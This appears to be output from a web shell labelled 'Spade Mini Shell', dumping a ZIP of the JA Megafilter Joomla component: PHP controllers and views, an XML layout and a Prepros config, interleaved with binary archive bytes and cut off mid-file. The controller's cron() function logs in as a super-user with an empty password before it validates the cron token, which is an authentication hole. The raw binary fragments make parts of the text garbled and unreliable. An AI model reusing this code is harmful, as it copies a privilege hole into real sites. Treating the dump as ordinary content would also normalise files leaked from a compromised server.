Spade
Mini Shell
PK�v�[�#o,,
index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK�v�[���8ddjamegafilter.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
if (!defined('DS')) {
define('DS', DIRECTORY_SEPARATOR);
}
require_once(dirname(__FILE__) . '/assets/asset.php');
JLoader::register('JaMegafilterHelper',
JPATH_ADMINISTRATOR.'/components/com_jamegafilter/helper.php');
$controller = JControllerLegacy::getInstance('JaMegaFilter');
// Perform the Request task
$input = JFactory::getApplication()->input;
$controller->execute($input->getCmd('task'));
// Redirect if set by the controller
$controller->redirect();
PK�v�[@��oocontroller.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
class JaMegaFilterController extends JControllerLegacy {
function getAdmin(){
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select(array('u.username',
'u.password'))
->from($db->quoteName('#__user_usergroup_map',
'ug'))
->join('INNER', $db->quoteName('#__users',
'u') .' ON '. $db->quoteName('u.id')
.'='. $db->quoteName('ug.user_id'))
->where($db->quoteName('ug.group_id')
.'=8');
$db->setQuery($query);
return $db->loadAssoc();
}
function cron() {
// handle login to get posts had access level
$user = $this->getAdmin();
JPluginHelper::importPlugin('user');
$info = [
'username' => $user['username'],
'password' => '',
];
$options = [
'action' => 'core.login.site'
];
JFactory::getApplication()->triggerEvent('onUserLogin',
array($info, $options));
$input = $this->input;
$token = $input->get('token');
$params = JComponentHelper::getParams('com_jamegafilter');
$ctoken = $params->get('crontoken');
if ($token !== $ctoken) {
die('token error');
}
JLoader::register('BaseFilterHelper',
JPATH_ADMINISTRATOR.'/components/com_jamegafilter/base.php');
JLoader::register('JaMegaFilterModelDefault',
JPATH_ADMINISTRATOR .
'/components/com_jamegafilter/models/default.php');
$model = JModelLegacy::getInstance('JaMegaFilterModelDefault');
$proxy = $input->get('proxy');
$id = $input->getInt('id');
if ($proxy && $id) {
$model->exportByID($id);
$result = array(
'success' => 'Export done. ID: ' . $id
);
die(json_encode($result));
}
$fids = $params->get('fids', array());
$last_cron = $params->get('last_cron', 0);
$next_cron = $last_cron + $params->get('time', 0);
if ($fids && $next_cron < time()) {
$params->set('last_cron', time());
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->update('#__extensions')
->set($db->quoteName('params') . '=' .
$db->quote($params->toString()))
->where($db->quoteName('element') . '=' .
$db->quote('com_jamegafilter'));
$db->setQuery($query);
$db->execute();
foreach ($fids as $fid) {
$model->exportByID($fid);
}
}
$result = array(
'success' => 'cron done'
);
die(json_encode($result));
}
}PK�v�[�#o,,views/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK�v�[�#o,,views/default/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK�v�[k��G�-�-views/default/view.html.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
// No direct access to this file
use Joomla\CMS\Factory;
use Joomla\CMS\Language\LanguageHelper;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
defined('_JEXEC') or die('Restricted access');
class JaMegaFilterViewDefault extends BaseHtmlView {
public $_layout_path = array();
public $_css_path = array();
function accessProtected($obj, $prop) {
$reflection = new ReflectionClass($obj);
$property = $reflection->getProperty($prop);
$property->setAccessible(true);
return $property->getValue($obj);
}
function getProtectedValue($obj, $name) {
$array = (array)$obj;
$prefix = chr(0).'*'.chr(0);
return $array[$prefix.$name];
}
function display($tpl = null) {
$app = Factory::getApplication();
JPluginHelper::importPlugin('jamegafilter');
$menu = $app->getMenu()->getActive();
if (version_compare(JVERSION, '4', 'ge')){
if (version_compare(PHP_VERSION, '5.3.0',
'>=')){
$objParams = $this->accessProtected($menu, 'params');
$this->document->setDescription(
$this->accessProtected($objParams,
'data')->{'menu-meta_description'}
);
}else{
$objParams = $this->getProtectedValue($menu,
'params');
$this->document->setDescription(
$this->getProtectedValue($objParams,
'data')->{'menu-meta_description'}
);
}
}else{
$objParams = $menu->params;
$this->document->setDescription($objParams->get('menu-meta_description'));
}
$config = JFactory::getConfig();
$robots = $this->getProtectedValue($config,
'data')->{'robots'};
// $robots = $config->get('robots');
if ($this->getProtectedValue($objParams,
'data')->{'robots'}) {
$this->document->setMetadata('robots',
$menu->params->get('robots'));
} else {
$this->document->setMetadata('robots', $robots);
}
$this->item = $this->get('Item');
if (empty($this->item)) {
$app->enqueueMessage(JText::_('COM_JAMEGAFILTER_UNDEFINED_MENU_ID'),
'error');
return;
}
if (empty($this->item['published'])) {
$app->enqueueMessage(JText::_('COM_JAMEGAFILTER_ITEM_UNPUBLISHED'),
'error');
return;
}
if (!JaMegaFilterHelper::getComponentStatus('com_' .
$this->item['type'])) {
$app->enqueueMessage(JText::_('COM_JAMEGAFILTER_COMPONENT_NOT_FOUND'),
'error');
return;
}
if ($menu) {
$params = JComponentHelper::getParams('com_menus');
$mparams = $params->merge($objParams);
$this->item['mparams'] = $mparams;
$page_title = $mparams->get('page_title');
if ($page_title) {
$this->document->setTitle($page_title);
}
}
$jatype = $this->item['type'];
$this->_addCss($jatype);
$this->_addLayoutPath($jatype);
$this->jstemplate = $this->_loadJsTemplate();
$filter_config = $this->_getFilterConfig($this->item);
if ($jatype === 'blank') {
parent::display($tpl);
} else {
$app->triggerEvent('onBeforeDisplay' . ucfirst($jatype) .
'Items', array($this->jstemplate, $filter_config,
$this->item ));
}
}
function _getFilterConfig($item) {
$config = new stdClass();
$jinput = JFactory::getApplication()->input;
$itp = $jinput->get('itemperrow', 3, 'INT');
$column = $jinput->get('itempercol', 5, 'INT');
$show_more = $jinput->get('show_more', 0, 'INT');
$show_more = $jinput->get('show_more', 0, 'INT');
$default_result_view = $jinput->get('default_result_view',
'grid', 'STRING');
if ($default_result_view == 'list') $column=1;
$itp = $itp*$column;
$paginate = array($itp, $itp +($column*1), $itp +($column*2), $itp
+($column*3), $itp +($column*4));
$params = json_decode($item['params']);
$fields = array();
$sorts = array();
$sorts[] = array('field' => 'position',
'title' => JText::_('JPOSITION'));
$default_sort = 'position';
$sort_by = 'desc';
$layout_addition = !empty($params->filterfields->layout_addition) ?
$params->filterfields->layout_addition : "";
$columns = !empty($params->filterfields->jacolumn) ?
$params->filterfields->jacolumn : "";
if (!empty($params->filterfields)) {
$sort_by = $params->filterfields->sort_by ?
$params->filterfields->sort_by : 'position';
foreach ((array) $params->filterfields as $filters) {
foreach ((array) $filters as $filter) {
if (!is_object($filter)) continue;
if (!empty($filter->sort))
$sorts[] = array(
'field' => $filter->field,
'title' => $filter->title
);
if (!empty($filter->published)) {
$fields[] = array(
'type' =>
str_replace('select','dropdown',$filter->type),
'title' => $filter->title,
'multiple' =>
preg_match('/select/',$filter->type) ?
'multiple':'',
'field' => $filter->field,
'frontend_field' => str_replace('.value',
'.frontend_value', $filter->field));
}
if ((!empty($filter->sort) && $filter->sort == 1)
&& (!empty($filter->sort_default) &&
$filter->sort_default == 1))
$default_sort=$filter->field;
}
}
}
$langs = LanguageHelper::getKnownLanguages();
$lang_tag = JFactory::getLanguage()->getTag();
$lang_suffix = str_replace('-', '_',
strtolower($lang_tag));
# fetch json data
$json = JPATH_ROOT . '/media/com_jamegafilter/' . $lang_suffix
. '/' . $item['id'] . '.json';
if (file_exists($json)) {
$config->json = '/media/com_jamegafilter/' . $lang_suffix .
'/' . $item['id'] . '.json';
} else {
foreach ($langs as $lang ) {
$alter_suffix = str_replace('-', '_',
strtolower($lang['tag']));
$alter_json = JPATH_ROOT . '/media/com_jamegafilter/' .
$alter_suffix . '/' . $item['id'] . '.json';
if ($lang['tag'] != $lang_tag &&
file_exists($alter_json)) {
$config->json = '/media/com_jamegafilter/' .
$alter_suffix . '/' . $item['id'] . '.json';
break;
}
}
}
$option = $jinput->get('option');
if (!empty($option) && $option === 'com_jamegafilter')
{
$config->isComponent = true;
}
$filter_order = array();
if (!empty($params->filterfields->filter_order->order)) {
$filter_order = $params->filterfields->filter_order->order;
}
$custom_order = array();
if (!empty($params->filterfields->filter_order->custom_order)) {
$custom_order =
$params->filterfields->filter_order->custom_order;
}
if (!empty($params->filterfields->filter_order->sort)) {
$newOrder = [];
foreach ($params->filterfields->filter_order->sort AS $ord) {
foreach ($fields AS $f) {
if ($f['field'] == $ord) {
$newOrder[] = $f;
}
}
}
$fields = $newOrder;
}
$config->fullpage = $jinput->get('fullpage', 1);
$config->autopage = $jinput->get('autopage',0);
$config->sticky = $jinput->get('sticky',0);
$config->paginate = $paginate;
$config->sorts = $sorts;
$config->sort_by = $sort_by;
$config->layout_addition = $layout_addition;
$config->jacolumn = $columns;
$config->default_sort = str_replace('.value',
'.frontend_value', $default_sort);
$config->fields = $fields;
$config->direction =
$jinput->get('direction','vertical');
// hide sticky sidebar function when config direction is Horizontal
if ($config->direction == 'sb-horizontal'){
$config->sticky = 0;
}
$document = JFactory::getDocument();
$document->addScriptDeclaration('
var jamegafilter_baseprice =
"'.JText::_('COM_JAMEGAFILTER_BASE_PRICE').'";
var jamegafilter_desc =
"'.JText::_('COM_JAMEGAFILTER_DESC').'";
var jamegafilter_thumb =
"'.JText::_('COM_JAMEGAFILTER_THUMB').'";
var jamegafilter_to =
"'.JText::_('COM_JAMEGAFILTER_TO').'";
var jamegafilter_show_more =
"'.JText::_('COM_JAMEGAFILTER_SHOW_MORE').'";
var ja_show_more = '.$show_more.';
var jamegafilter_default_result_view =
"'.$jinput->get('default_result_view',
'grid').'";
var ja_fileter_field_order = '.json_encode($filter_order).';
var ja_custom_ordering = ' . json_encode($custom_order) .' ||
{};
');
JText::script('COM_JAMEGAFILTER_MULTIPLE_SELECT_PLACEHOLDER');
return $config;
}
function _loadJsTemplate() {
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');
$template_names = array();
$layouts_path = JPATH_SITE .
'/components/com_jamegafilter/layouts';
$filter_path = $layouts_path . '/filter';
$base_files = JFolder::files($layouts_path);
foreach ($base_files as $base) {
$template_names[] = JFile::stripExt($base);
}
$filter_files = JFolder::files($filter_path);
foreach ($filter_files as $filter) {
$template_names[] = JFile::stripExt($filter);
}
$jstemplate = new stdClass();
foreach ($template_names as $name) {
$jstemplate->{ $name } = $this->_loadLayout($name);
}
return $jstemplate;
}
function _addLayoutPath($jatype) {
$app = JFactory::getApplication();
$input = $app->input;
$jalayout = $input->get('jalayout', 'default');
$layouts_path = JPATH_SITE .
'/components/com_jamegafilter/layouts';
$filter_path = $layouts_path . '/filter';
$template_path = JPATH_THEMES . '/' . $app->getTemplate() .
'/html/layouts/jamegafilter/' . $jatype . '/' .
$jalayout;
$filter_template_path = $template_path . '/filter';
$plugin_path_default = JPATH_PLUGINS . '/jamegafilter/' .
$jatype . '/layouts/default';
$filter_plugin_path_default = $plugin_path_default . '/filter';
$plugin_path = JPATH_PLUGINS . '/jamegafilter/' . $jatype .
'/layouts/' . $jalayout;
$filter_plugin_path = $plugin_path . '/filter';
// add template path
array_unshift($this->_layout_path, $filter_path);
array_unshift($this->_layout_path, $layouts_path);
array_unshift($this->_layout_path, $filter_plugin_path_default);
array_unshift($this->_layout_path, $plugin_path_default);
array_unshift($this->_layout_path, $filter_plugin_path);
array_unshift($this->_layout_path, $plugin_path);
array_unshift($this->_layout_path, $filter_template_path);
array_unshift($this->_layout_path, $template_path);
return;
}
function _loadLayout($name) {
// Clear prior output
$this->_output = null;
// Load the template script
jimport('joomla.filesystem.path');
$filename = preg_replace('/[^A-Z0-9_\.-]/i', '',
$name);
$file = JPath::find($this->_layout_path, $filename .
'.php');
if ($file != false) {
ob_start();
include $file;
$this->_output = ob_get_contents();
ob_end_clean();
return $this->_output;
} else {
throw new
Exception(JText::sprintf('JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND',
$name . '.php'), 500);
}
}
function _addCss($jatype) {
$app = JFactory::getApplication();
$doc = JFactory::getDocument();
if (file_exists(JPATH_SITE .
'/components/com_jamegafilter/assets/css/style.css')) {
$doc->addStyleSheet(JURI::root(true) .
'/components/com_jamegafilter/assets/css/style.css');
}
if (file_exists(JPATH_PLUGINS . '/jamegafilter/' . $jatype .
'/assets/css/style.css')) {
$doc->addStyleSheet(JURI::root(true) .
'/plugins/jamegafilter/' . $jatype .
'/assets/css/style.css');
}
if (file_exists(JPATH_THEMES . '/' . $app->getTemplate() .
'/css/jamegafilter.css')) {
$doc->addStyleSheet('templates/' . $app->getTemplate()
. '/css/jamegafilter.css');
}
}
}
PK�v�[�#o,,views/default/tmpl/index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK�v�[���ԓ�views/default/tmpl/default.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
PK�v�[�J���views/default/tmpl/default.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_JAMEGAFILTER_DEFAULT_LAYOUT">
<message>COM_JAMEGAFILTER_DEFAULT_LAYOUT_DESC</message>
</layout>
<fields
name="request"
addfieldpath="/administrator/components/com_jamegafilter/models/fields"
>
<fieldset name="request">
<field name="id" type="jamgfilter"
label="COM_JAMEGAFILTER_ID"
description="COM_JAMEGAFILTER_ID_DES" />
<field name="jalayout" type="jalayout"
label="COM_JAMEGAFILTER_JALAYOUT"
description="COM_JAMEGAFILTER_JALAYOUT_DESC" />
<field name="itemperrow" type="list"
default="5" label="COM_JAMEGAFILTER_ROWS"
description="COM_JAMEGAFILTER_ROWS_DESC">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
</field>
<field name="itempercol" type="list"
default="3" label="COM_JAMEGAFILTER_COLUMNS"
description="COM_JAMEGAFILTER_COLUMNS_DESC">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
</field>
<field name="default_result_view" type="list"
default="grid"
label="COM_JAMEGAFILTER_DEFAULT_RESULT_VIEW"
description="COM_JAMEGAFILTER_DEFAULT_RESULT_VIEW_DESC">
<option value="grid">Grid</option>
<option value="list">List</option>
</field>
<field name="show_more" type="number"
default="0" label="COM_JAMEGAFILTER_SHOW_MORE"
description="COM_JAMEGAFILTER_SHOW_MORE_DESC" />
<field name="fullpage" type="radio"
default="1" label="COM_JAMEGAFILTER_SHOW_FILTER_BAR"
description="COM_JAMEGAFILTER_SHOW_FILTER_BAR_DESC"
class="btn-group btn-group-yesno">
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field name="sticky" type="radio"
default="0"
label="COM_JAMEGAFILTER_STICKY_SIDEBAR"
description="COM_JAMEGAFILTER_STICKY_SIDEBAR_DESC"
class="btn-group btn-group-yesno"
showon="fullpage:1[AND]direction:vertical">
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field name="scrolltop" type="radio"
default="1" label="COM_JAMEGAFILTER_SCROLL_TOP"
description="COM_JAMEGAFILTER_SCROLL_TOP_DESC"
class="btn-group btn-group-yesno">
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field name="autopage" type="radio"
default="0" label="COM_JAMEGAFILTER_AUTO_PAGE"
description="COM_JAMEGAFILTER_AUTO_PAGE_DESC"
class="btn-group btn-group-yesno">
<option value="1">JYES</option>
<option value="0">JNO</option>
</field>
<field name="direction" type="list"
default="vertical" label="COM_JAMEGAFILTER_DIRECTION"
description="COM_JAMEGAFILTER_DIRECTION_DESC">
<option value="vertical">VERTICAL</option>
<option value="sb-horizontal">HORIZONTAL</option>
</field>
</fieldset>
</fields>
</metadata>PK�v�[�Lо� � assets/asset.phpnu�[���<?php
/**
* ------------------------------------------------------------------------
* JA Megafilter Component
* ------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
* ------------------------------------------------------------------------
*/
//No direct to access this file.
defined('_JEXEC') or die('Restricted access');
$input = JFactory::getApplication()->input;
$doc = JFactory::getDocument();
$currentLanguage = JFactory::getLanguage();
$isRTL = $currentLanguage->isRtl();
$doc->addStyleSheet(JUri::root(true) .
'/components/com_jamegafilter/assets/css/jquery-ui.min.css');
if (!defined('T3_PLUGIN')) {
$doc->addStyleSheet('https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css');
}
JHtml::_('behavior.core');
JHtml::_('jquery.framework');
if (!version_compare(JVERSION, '4', 'ge')){
JHtml::_('jquery.ui');
}
JHtml::_('formbehavior.chosen');
if ($input->get('sticky')) {
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/sticky-kit.min.js');
}
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/jquery-ui.range.min.js');
if ($isRTL) {
$doc->addStyleSheet(JUri::root(true) .
'/components/com_jamegafilter/assets/css/jquery.ui.slider-rtl.css');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/jquery.ui.slider-rtl.min.js');
}
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/jquery.ui.datepicker.js');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/jquery.ui.touch-punch.min.js');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/jquery.cookie.js');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/script.js');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/libs.js');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/megafilter.js');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/main.js');
$doc->addScript(JUri::root(true) .
'/components/com_jamegafilter/assets/js/dust-helpers.min.js');
JText::script('COM_JAMEGAFILTER_FROM');
JText::script('COM_JAMEGAFILTER_LOADING');PK�v�[
��?�?assets/prepros.cfgnu�[���[
{
"About This File": "This is Prepros config file,
https://prepros.io . Please do not edit this file, doing so can crash
Prepros."
},
{
"data": {
"id": "",
"cfgVersion": 2,
"name": "assets",
"path": "",
"files": {
"fa530e6d": {
"id": "fa530e6d",
"path": "asset.php",
"output": "asset.php",
"name": "asset.php",
"category": "JUST_WATCH",
"customOutput": false,
"imported": false,
"parents": [],
"type": "php"
},
"a77417ae": {
"id": "a77417ae",
"path": "css/jquery-ui.min.css",
"output": "css/jquery-ui.min-dist.css",
"name": "jquery-ui.min.css",
"category": "CSS",
"autoCompile": false,
"sourceMaps": false,
"compress": true,
"cssnext": false,
"autoprefixer": false,
"customOutput": false,
"imported": false,
"parents": [],
"type": "css"
},
"39fcd72e": {
"id": "39fcd72e",
"path": "css/jquery.ui.css",
"output": "css/jquery.ui-dist.css",
"name": "jquery.ui.css",
"category": "CSS",
"autoCompile": false,
"sourceMaps": false,
"compress": true,
"cssnext": false,
"autoprefixer": false,
"customOutput": false,
"imported": false,
"parents": [],
"type": "css"
},
"0c7b55b5": {
"id": "0c7b55b5",
"path": "css/style.css",
"output": "css/style-dist.css",
"name": "style.css",
"category": "CSS",
"autoCompile": false,
"sourceMaps": false,
"compress": true,
"cssnext": false,
"autoprefixer": false,
"customOutput": false,
"imported": false,
"parents": [],
"type": "css"
},
"30eabe28": {
"id": "30eabe28",
"path": "js/jquery-ui.min.js",
"output": "js/jquery-ui.min-dist.js",
"name": "jquery-ui.min.js",
"category": "JS",
"autoCompile": false,
"uglify": true,
"mangle": true,
"babel": false,
"sourceMaps": false,
"customOutput": false,
"imported": false,
"parents": [],
"type": "javascript"
},
"edf0f7bf": {
"id": "edf0f7bf",
"path": "js/jquery-ui.range.min.js",
"output": "js/jquery-ui.range.min-dist.js",
"name": "jquery-ui.range.min.js",
"category": "JS",
"autoCompile": false,
"uglify": true,
"mangle": true,
"babel": false,
"sourceMaps": false,
"customOutput": false,
"imported": false,
"parents": [],
"type": "javascript"
},
"9169e8db": {
"id": "9169e8db",
"path": "js/jquery.ui.datepicker.js",
"output": "js/jquery.ui.datepicker-dist.js",
"name": "jquery.ui.datepicker.js",
"category": "JS",
"autoCompile": false,
"uglify": true,
"mangle": true,
"babel": false,
"sourceMaps": false,
"customOutput": false,
"imported": false,
"parents": [],
"type": "javascript"
},
"86b83291": {
"id": "86b83291",
"path": "js/jquery.ui.slider.js",
"output": "js/jquery.ui.slider-dist.js",
"name": "jquery.ui.slider.js",
"category": "JS",
"autoCompile": false,
"uglify": true,
"mangle": true,
"babel": false,
"sourceMaps": false,
"customOutput": false,
"imported": false,
"parents": [],
"type": "javascript"
},
"a756e730": {
"id": "a756e730",
"path": "js/jquery.ui.touch-punch.min.js",
"output":
"js/jquery.ui.touch-punch.min-dist.js",
"name": "jquery.ui.touch-punch.min.js",
"category": "JS",
"autoCompile": false,
"uglify": true,
"mangle": true,
"babel": false,
"sourceMaps": false,
"customOutput": false,
"imported": false,
"parents": [],
"type": "javascript"
},
"dfccf4db": {
"id": "dfccf4db",
"path": "js/libs.js",
"output": "js/libs-dist.js",
"name": "libs.js",
"category": "JS",
"autoCompile": false,
"uglify": true,
"mangle": true,
"babel": false,
"sourceMaps": false,
"customOutput": false,
"imported": false,
"parents": [],
"type": "javascript"
},
"50ef0fa9": {
"id": "50ef0fa9",
"path": "js/main.js",
"output": "js/main-dist.js",
"name": "main.js",
"category": "JS",
"autoCompile": false,
"uglify": true,
"mangle": true,
"babel": false,
"sourceMaps": false,
"customOutput": false,
"imported": false,
"parents": [],
"type": "javascript"
},
"52d364df": {
"id": "52d364df",
"path": "images/color-stars.png",
"output": "images/color-stars.png",
"name": "color-stars.png",
"category": "IMAGE",
"size": 1352,
"type": "png",
"initialSize": 1352,
"optimized": false,
"height": 0,
"width": 0
},
"c2d3e4b5": {
"id": "c2d3e4b5",
"path": "images/ui-icons_444444_256x240.png",
"output":
"images/ui-icons_444444_256x240.png",
"name": "ui-icons_444444_256x240.png",
"category": "IMAGE",
"size": 7006,
"type": "png",
"initialSize": 7006,
"optimized": false,
"height": 0,
"width": 0
},
"52f39cb5": {
"id": "52f39cb5",
"path": "images/ui-icons_555555_256x240.png",
"output":
"images/ui-icons_555555_256x240.png",
"name": "ui-icons_555555_256x240.png",
"category": "IMAGE",
"size": 7074,
"type": "png",
"initialSize": 7074,
"optimized": false,
"height": 0,
"width": 0
},
"3f70d6ae": {
"id": "3f70d6ae",
"path": "images/ui-icons_777620_256x240.png",
"output":
"images/ui-icons_777620_256x240.png",
"name": "ui-icons_777620_256x240.png",
"category": "IMAGE",
"size": 4676,
"type": "png",
"initialSize": 4676,
"optimized": false,
"height": 0,
"width": 0
},
"5c1bc199": {
"id": "5c1bc199",
"path": "images/ui-icons_777777_256x240.png",
"output":
"images/ui-icons_777777_256x240.png",
"name": "ui-icons_777777_256x240.png",
"category": "IMAGE",
"size": 7013,
"type": "png",
"initialSize": 7013,
"optimized": false,
"height": 0,
"width": 0
},
"6f21460e": {
"id": "6f21460e",
"path": "images/ui-icons_cc0000_256x240.png",
"output":
"images/ui-icons_cc0000_256x240.png",
"name": "ui-icons_cc0000_256x240.png",
"category": "IMAGE",
"size": 4632,
"type": "png",
"initialSize": 4632,
"optimized": false,
"height": 0,
"width": 0
},
"444905ca": {
"id": "444905ca",
"path": "images/ui-icons_ffffff_256x240.png",
"output":
"images/ui-icons_ffffff_256x240.png",
"name": "ui-icons_ffffff_256x240.png",
"category": "IMAGE",
"size": 6313,
"type": "png",
"initialSize": 6313,
"optimized": false,
"height": 0,
"width": 0
},
"93a0971c": {
"id": "93a0971c",
"path": "images/quantity-bg.png",
"output": "images/quantity-bg.png",
"name": "quantity-bg.png",
"category": "IMAGE",
"size": 1092,
"type": "png",
"initialSize": 1092,
"optimized": false,
"height": 0,
"width": 0
},
"c0abb3d5": {
"id": "c0abb3d5",
"path": "images/plus.png",
"output": "images/plus.png",
"name": "plus.png",
"category": "IMAGE",
"size": 1060,
"type": "png",
"initialSize": 1060,
"optimized": false,
"height": 0,
"width": 0
},
"7cd07d7a": {
"id": "7cd07d7a",
"path": "less/variables.less",
"output": "css/variables.css",
"name": "variables.less",
"category": "CSS",
"autoCompile": false,
"autoprefixer": false,
"compress": false,
"sourceMaps": false,
"customOutput": false,
"imported": true,
"parents": [
"bb53beb9"
],
"type": "less"
},
"bb53beb9": {
"id": "bb53beb9",
"path": "less/style.less",
"output": "css/style.css",
"name": "style.less",
"category": "CSS",
"autoCompile": true,
"autoprefixer": false,
"compress": false,
"sourceMaps": false,
"customOutput": false,
"imported": false,
"parents": [],
"type": "less"
}
},
"deploymentHistory": {},
"config": {
"watch": "",
"liveRefresh": true,
"useCustomServer": false,
"port": 0,
"useCustomPort": false,
"customServerUrl": "",
"watchedFileExtensions": "less, sass, scss, styl,
md, markdown, coffee, js, jade, haml, slim, ls, html,htm, css, rb, php,
asp, aspx, cfm, chm, cms, do, erb, jsp, mhtml, mspx, pl, py, shtml, cshtml,
cs,vb, vbs, tpl, ctp, kit, png, jpg, jpeg",
"excludePatterns": "Prepros Build, node_modules,
.git, .idea, .sass-cache, .hg, .svn, .cache, config.rb, prepros.cfg,
.DS_Store, bower_components",
"autoprefixerBrowsers": "last 4 versions",
"liveRefreshDelay": 0,
"disableImportAutoCompile": true,
"browserFlow": {
"enabled": false,
"mouseSync": true,
"scrollSync": true,
"keyboardSync": true,
"animateCss": true
},
"deployment": {
"ftpHost": "",
"ftpPort": "21",
"ftpUsePrivateKey": false,
"ftpPrivateKey": "",
"ftpRemotePath": "",
"ftpUserName": "",
"ftpPassword": "",
"ftpType": "FTP",
"ftpSecure": false,
"ftpUploadOnModify": false,
"ftpRefreshAfterUpload": false,
"ignorePreprocessableFiles": true,
"copyPath": "Prepros Build",
"excludePatterns": ".map, Prepros Build,
config.rb, prepros.cfg, node_modules, .git, .idea, .sass-cache, .hg, .svn,
.cache, .DS_Store, bower_components"
},
"css": {
"path": "css/",
"outputType": "REPLACE_SEGMENT",
"segmentToReplace": "less, sass, stylus, scss,
styl",
"segmentToReplaceWith": "css",
"preprocessableFilesDirs":
"less/\nsass/\nstylus/\nscss/\nstyl/\n"
},
"minCss": {
"path": "",
"outputType": "RELATIVE_FILEDIR",
"segmentToReplace": "",
"segmentToReplaceWith": "",
"types": "",
"preprocessableFilesDirs": "",
"filePrefix": "-dist"
},
"html": {
"segmentToReplace": "jade, haml, slim, markdown,
md, kit",
"segmentToReplaceWith": "html",
"path": "html/",
"extension": ".html",
"outputType": "REPLACE_SEGMENT",
"preprocessableFilesDirs":
"jade/\nhaml/\nslim/\nmarkdown/\nmd/\nkit"
},
"js": {
"segmentToReplace": "coffee, coffeescript,
coffeescripts, ls, livescript, livescripts",
"segmentToReplaceWith": "html",
"extension": ".html",
"outputType": "REPLACE_SEGMENT",
"preprocessableFilesDirs":
"coffee/\ncoffeescript/\ncoffeescripts/\nls/\nlivescript/\nlivescripts",
"path": "js/"
},
"minJs": {
"path": "",
"outputType": "RELATIVE_FILEDIR",
"segmentToReplace": "",
"segmentToReplaceWith": "",
"types": "",
"preprocessableFilesDirs": "",
"filePrefix": "-dist"
},
"compilers": {
"less": {
"autoCompile": true,
"autoprefixer": false,
"compress": false,
"sourceMaps": false
},
"sass": {
"autoCompile": true,
"autoprefixer": false,
"sourceMaps": false,
"libSass": true,
"compass": false,
"fullCompass": false,
"outputStyle": "expanded"
},
"stylus": {
"autoCompile": true,
"sourceMaps": false,
"autoprefixer": false,
"nib": false,
"compress": false
},
"markdown": {
"autoCompile": true,
"sanitize": false,
"gfm": true,
"wrapWithHtml": false
},
"coffee": {
"autoCompile": true,
"bare": false,
"uglify": false,
"mangle": true,
"iced": false,
"sourceMaps": false
},
"livescript": {
"autoCompile": true,
"bare": false,
"uglify": false,
"mangle": true
},
"javascript": {
"autoCompile": false,
"uglify": true,
"mangle": true,
"babel": false,
"sourceMaps": false
},
"jade": {
"autoCompile": true,
"pretty": true
},
"haml": {
